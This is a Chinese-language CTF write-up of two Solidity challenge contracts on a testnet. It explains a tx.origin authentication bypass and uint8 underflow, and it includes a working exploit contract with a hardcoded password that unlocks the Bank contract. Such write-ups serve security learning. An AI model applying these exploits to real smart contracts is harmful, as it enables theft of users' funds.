1. [智能合约? 那是啥]
//0x202E653dA93c2a06076FC95B0A07E39B6003C5f6 Ropsten
pragma solidity ^0.4.23;
/**
* The CoinFlip contract does nothing...
*/
contract CoinFlip {
uint256 lashHash;
uint256 Factor = 20244007718664171871063861089;
mapping (address => uint) balances;
string flag;
constructor (string _flag) public {
flag = _flag;
}
function getBalance () public returns(uint) {
return balances[tx.origin];
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number - 1));
lashHash = blockValue;
uint256 ans = blockValue / Factor;
bool side = ans == 1 ? true : false;
if (side == _guess) {
balances[tx.origin]++;
return true;
} else {
balances[tx.origin] = 0;
return false;
}
}
function GetTheFlag() public view returns (string){
return flag; // You can get your flag here
}
}
这个好像是某题改过来的。改成了签到题。 原题不能直接getflag。 现在这样直接调用GetTheFlag或者去浏览器上查看合约创建时对内存的写入就能知道flag是啥。
控制台调用
浏览器查看
要是所有题都这么纯真该多好~
2. [现在来做运算吧]
pragma solidity ^0.4.23;
/**
* The Bank contract does something...
*/
contract Bank {
bytes32 private pass = "*******";
mapping (address => bool) unlock;
mapping (address => uint8) balances;
event FLAG(string b64email, string slogan);
function GetBalance(address _address) view returns(uint) {
require(msg.sender == _address);
return balances[_address];
}
function GetLockedState(address _address) view returns(bool) {
require(msg.sender == _address);
return unlock[msg.sender];
}
modifier NeedPass(bytes32 _pass) {
require (pass == _pass);
_;
}
function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
require(_value > 5);
balances[_to] += _value;
if (balances[_to] == 5) {
unlock[msg.sender] = true;
}
}
function DrawBack(uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
}
function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
function GetTheFlag(string b64email) public{
require(tx.origin != msg.sender);
require(unlock[msg.sender] == true);
emit FLAG(b64email, " You got the flag!!");
}
}
当时这题看了蛮久,因为对合约安全整体还不够熟悉,不能将多个漏洞融合贯通。这里简单记录一下用到的两个bypass点。
- tx.origin的鉴权漏洞 tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。他和msg.send的不同就是tx.origin会遍历整个调用栈。下图可简单说明这种漏洞危害性。
类似于一个简单的中间人攻击。当用户call我们攻击者的攻击函数,而攻击者使用这个函数去调用正常合约时tx.origin == owner是成立的。也就绕过了鉴权。
2.溢出和下溢 在solidity中,uint8代表255位的无符号整型,这里可以查看俺之前的日记:solidity类型。因为uint是无符号的整型,不能为负数。当+上超过这个数值的数时,就会出现溢出。例如254 + 2 = 1。而下溢则是0 - 1 = 255。
有了这些基础再来看题目就比较容易理解了。
require(tx.origin != msg.sender);
require(unlock[msg.sender] == true);
- 通过合约调用函数的方式,使得tx.origin还是我们的地址,而msg.sender是合约地址,不相等,pass。
- 唯一的unlock操作在Deposit函数中,需要存入大于5的数但最终值是5。这里有两种方法。如果没有对存入value限制,应该可以直接存入271,这是大于5而因为mapping中用uint8存储的value所以会溢出成为5。但是这里传入value也是uint8,所以溢出没戏,只能通过transfer函数使得value下溢。exp如下。
//author:肖越
pragma solidity >=0.4.23 <0.6.0;
import "./vul.sol";
contract exp{
Bank bank = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c);
function getflag() public payable {
exp1();
exp2();
flag();
}
function exp1()public payable{
bank.Transfer.value(msg.value)(0x11767c122Dd7B9F0F3e97a195f0CBA0a64c0C9c6,10,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
}
function exp2() {
bank.Deposit.value(msg.value)(this,15,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
}
function flag() {
bank.GetTheFlag("lu ben wei nb!");
}
}
(getflag函数不用传参,上图测试用的) 去看看transactionHash的详细内容
因为我测试过了,接收不到flag邮件,那么达到event就算成功了。 就致敬一波卢姥爷吧!